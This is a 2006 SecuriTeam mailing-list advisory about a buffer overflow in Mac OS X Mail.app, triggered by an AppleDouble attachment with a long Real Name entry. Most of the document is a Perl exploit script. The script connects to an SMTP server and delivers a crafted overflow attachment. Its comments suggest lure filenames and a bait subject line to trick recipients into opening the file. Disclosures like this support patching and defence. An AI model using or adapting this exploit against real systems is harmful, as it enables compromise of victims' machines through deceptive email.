

[EXPL] Apple Mac OS X Mail.app Buffer Overflow (Real Name, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00040.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 15 Mar 2006 13:01:54 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Apple Mac OS X Mail.app Buffer Overflow (Real Name, Exploit)

SUMMARY

Security Update 2006-001 for Mac OS X included a fix for the Download Validation component of Mail.app. Download Validation is used to warn the user if the file type is not "safe". Prior to 2006-001 certain techniques could be used to disguise a file's type so that the validation was bypassed. Unfortunately in the process of patching the previous problem a new one was introduced.

After applying Security Update 2006-001 Mail.app becomes vulnerable to a buffer overflow that may be triggered via a properly formatted MIME Encapsulated Macintosh file. Sending a file in the AppleDouble format with a long Real Name entry will invoke the overflow. Reading through RFC1740 should provide enough information to trigger the issue. The overflow is triggered by the file that contains the AppleDouble header information.

DETAILS

Vulnerable Systems:

* Mail.app Version 2.0.7 (746.2) on OSX 10.4.5 Build 8H14 + Security Update 2006-001 (PowerPC) v1.0

[EXPL] Apple Mac OS X Mail.app Buffer Overflow (Real Name, Exploit)

Workaround:

Install 2006-002 update or simply do not open attachments in Mail.app

<<http://www.apple.com/support/downloads/>>

<http://www.apple.com/support/downloads/>

Exploit:

```
#!/usr/bin/perl
```

```
#
```

```
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
```

```
# http://www.digitalmunition.com
```

```
#
```

```
# Mail.app Version 2.0.7 (746.2) on OSX 10.4.5 Build 8H14 + Security  
Update 2006-001 (PowerPC) v1.0
```

```
#
```

```
# RFC-1740 MIME-based Mac file buffer overflow
```

```
#
```

```
# AppleSingle file header:
```

```
# [4 byte magic number][4 byte version number][16 bytes of filler][2 byte  
number of entries][Entry...]
```

```
# Entry descriptor for each Entry:
```

```
# [4 byte entry id][4 byte offset][4 byte length]
```

```
# Real Name entry id is 0x03, Finder Info is 0x09 and Resource Fork is  
0x02
```

```
#
```

```
# If this exploit is not working clean out your ~/Library/Mail Downloads  
folder
```

```
#
```

```
# ./SuperTastey.pl mx.yourhost.com yourmac@someplace.com
```

```
#
```

```
use IO::Socket;
```

```
use MIME::Base64;
```

```
$hostName = $ARGV[0];
```

```
$emailaddy = $ARGV[1];
```

```
$sock = IO::Socket::INET->new (Proto => "tcp", PeerAddr => $hostName,  
PeerPort => 25, Type => SOCK_STREAM);
```

```
$sock or die "no socket :$!\n";
```

```
print $sock "EHLO [192.168.1.7]\r\n" .
```

```
"MAIL FROM:<root>\r\n" . # This needs to be valid for what ever server  
you are using.
```

```
"RCPT TO:<$emailaddy>\r\n" . # Target machine goes email address  
here.
```

```
"DATA\r\n" .
```

```
"Mime-Version: 1.0 (Apple Message framework v746.2)\r\n" .
```

```
"To: kfinisterre@blah.com\r\n" .
```

```
"Message-Id: <1AE65A5B-6E3A-479B-8ECB-8BC4D959A69A@blah.com\r\n" .
```

```
"Content-Type: multipart/mixed; boundary=Apple-Mail-3-188295813\r\n" .
```

```
"From: root <root>\r\n" .
```

```
"Subject: Dude you have to see this shit!\r\n" .
```

```
"Date: Mon, 6 Mar 2006 23:04:12 -0500\r\n" .
```

[EXPL] Apple Mac OS X Mail.app Buffer Overflow (Real Name, Exploit)

```
"X-Mailer: Apple Mail (2.746.2)\r\n" .
"\r\n" .
"\r\n" .
"--Apple-Mail-3-188295813\r\n" .
"Content-Type: multipart/appledouble;\r\n" .
"\tboundary=Apple-Mail-4-188295813\r\n" .
"Content-Disposition: attachment\r\n" .
"\r\n" .
"\r\n" .
"--Apple-Mail-4-188295813\r\n" .
"Content-Transfer-Encoding: base64\r\n" .
"Content-Type: application/applefile;\r\n" .
"\tname=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.mov\"\r\n" .
"Content-Disposition: attachment;\r\n" .
"\tfilename*1=CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC.mov\r\n" .
"\r\n";
```

```
$retaddr = "\x41\x42\x43\x44"; # Shit the spec says printable ASCII!
```

```
$bufferz =
```

```
"\x00\x05\x16\x07". # AppleDouble Magic Number
"\x00\x02\x00\x00". # Version 2
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". # 16
Bytes of <null> filler
"\x00\x03\x00\x00". # Number of entries (3)
"\x00\x09\x00\x00". # Entry ID 9 is for 'Finder Info'
"\x00\x3e\x00\x00". # Start of Finder Info data is at file offset 0x3e
"\x00\x0a\x00\x00". # Length of Finder Info is 0x0a or 10
"\x00\x03\x00\x00". # Entry ID 3 is for 'Real Name'
"\x00\x48\x00\x00". # Start of Real Name data is at file offset 0x48
"\x00\xf5\x00\x00". # Length of Real Name is 0xf5 or 245
"\x00\x02\x00\x00". # Entry ID 2 is for 'Resource Fork'
"\x01\x3d\x00\x00". # Start of Resource Fork is at file offset 0x013d
"\x05\x3a\x00\x00". # Length of Resource fork is 0x053a
"\x00\x00\x00\x00". # <null> filler
"\x00\x00\x00\x00". # <null> filler
"aa" x 109 . "0000" . "1111" . "2222" . "$retaddr" x 1 . "3333" .
"zzz.mov." . # remember this length is hard coded above.
# Anything over 11 chars is here not seen by the user try Something like
NakedChicks...mov
# or SuperTasty...mov don't forget the trailing '.' both .mov and .jpg
work well from a Visual standpoint
#
# No fscking clue what this is... it is stolen from MetaSploit.
# I think its just a resource fork.
"\x00\x01\x00\x00\x00\x05\x08\x00\x00\x04\x08\x00\x00\x00\x32\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
```


[EXPL] Apple Mac OS X Mail.app Buffer Overflow (Real Name, Exploit)

```
".\r\n";  
sleep 2; # Allow enough time for the message to process before leaving
```

ADDITIONAL INFORMATION

The original article can be found at:

<http://www.digitalmunition.com/DMA%5B2006-0313a%5D.txt>

<http://www.digitalmunition.com/DMA%5B2006-0313a%5D.txt>

<http://www.digitalmunition.com/SuperTastey.pl>

<http://www.digitalmunition.com/SuperTastey.pl>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.